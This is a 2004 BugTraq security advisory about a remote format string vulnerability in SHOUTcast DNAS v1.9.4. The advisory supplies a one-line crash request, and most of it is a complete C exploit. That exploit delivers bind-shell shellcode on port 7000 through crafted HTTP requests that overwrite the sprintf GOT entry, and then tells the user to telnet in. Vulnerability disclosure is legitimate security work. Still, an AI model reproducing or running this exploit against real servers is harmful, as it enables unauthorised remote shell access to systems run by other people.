BugTraq
SHOUTcast remote format string vulnerability Dec 23 2004 06:24PM
Damian Put (pucik cc-team org)
Product: SHOUTcast v1.9.4 (and older?)
Vendor: http://www.shoutcast.com
Vuln: Remote format string
BugFinder: Tomasz Trojanowski (onestep)
Author: Damian Put <pucik (at) cc-team (dot) org [email concealed]> www.CC-Team.org
Date: Dec 23, 2004

1. BACKGROUND

"SHOUTcast is Nullsoft's Free Winamp-based distributed streaming audio
system. Thousands of broadcasters around the world are waiting for you to
tune in and listen"

2. DESCRIPTION

Remote exploitation of a format string vulnerability could allow execution
of arbitrary code.

A part of request, which was sent by attacker to server, would be included
in second arg of sprintf() function (0x0804adc3 in linux binary). It is
obviously not good from a security viewpoint. We can crash SHOUTcast in a
very easy way, using following request:

http://host:8000/content/%n.mp3

Or reach remote shell thanks to attached exploit`s code.

3. CREDIT

Special thanks:
Tomasz Trojanowski for information about vulnerability

4. EXPLOIT

/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit */
/* Damian Put <pucik (at) cc-team (dot) org [email concealed]> Cyber-Crime Team (www.CC-Team.org) */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0) */
/* When exploit only crash SHOUTcast we should calculate new address: */
/* */
/* bash-2.05b$ gdb sc_serv core */
/* ... */
/* (gdb) x/x $edi */
/* 0xbe462270: 0x78257825 */
/* (gdb) x/x 0xbe462270-996 */
/* 0xbe461e8c: 0x5050c031 */
/* */
/* 0xbe461e8c - This is our shellcode addr */
/* */
/* Now we "only" must change format string code in req2 :-) */

#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* Default SHOUTcast port */
#define PORT 8000

char shellcode[] = //bindshellcode (port 7000)
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
int sock;
char *host;
struct hostent *h;
struct sockaddr_in dest;

char req1[1024] = "GET /content/AA"
/* sprintf GOT addr */
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";

strcat(req1, shellcode);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");

/* We cannot use %numberx and %number$n (filtered) */
/* 0xbf3feee0 - shellcode addr on slackware 9.1 */
char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAA
AAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA-%n.mp3"
" HTTP/1.0\r\n\r\n";


printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
if(argc < 2)
{
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}

host = argv[1];

if(!(h = gethostbyname(host)))
{
fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
exit(-1);
}

sock = socket(PF_INET, SOCK_STREAM, 0);

dest.sin_addr=*((struct in_addr*)h->h_addr);
dest.sin_family = PF_INET;
dest.sin_port = htons(PORT);

if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}

printf("[*] Sending first request ...\n");
write(sock, req1, strlen(req1));

close(sock);

sock = socket(PF_INET, SOCK_STREAM, 0);

if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
exit(-1);
}

printf("[*] Sending second request ...\n");
write(sock, req2, strlen(req2));

close(sock);

printf("[*] Try telnet %s 7000 :)\n", host);

return 0;
}

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